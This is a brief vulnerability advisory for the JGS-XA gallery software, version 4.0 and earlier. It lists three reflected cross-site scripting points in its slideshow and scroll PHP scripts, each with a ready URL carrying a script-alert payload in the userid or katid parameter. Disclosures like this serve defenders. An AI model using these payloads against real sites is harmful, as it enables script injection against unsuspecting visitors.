Vendor: JGS-XA (www.jgs-xa.com)
Version: 4.0 and prior versions must be affected.
About: Via this method remote attacker can make malicious links for clicking and
can when victim clicks this links victim's browser would be inject with XSS.
Level: Harmless
How&Example:
GET -> http://[site]/jgs_galerie_slideshow.php?sid=&katid=&userid=[XSS]
EXAMPLE ->
http://[site]/jgs_galerie_slideshow.php?sid=&katid=&userid=<script>alert('X');</script>
GET -> http://[site]/jgs_galerie_scroll.php?userid=[XSS]
EXAMPLE ->
http://[site]/jgs_galerie_scroll.php?userid=<script>alert('X');</script>
GET -> http://[site]/jgs_galerie_slideshow.php?sid=&katid=[XSS]&userid=
EXAMPLE ->
http://[site]/jgs_galerie_slideshow.php?sid=&katid=<script>alert('X');</script>&userid=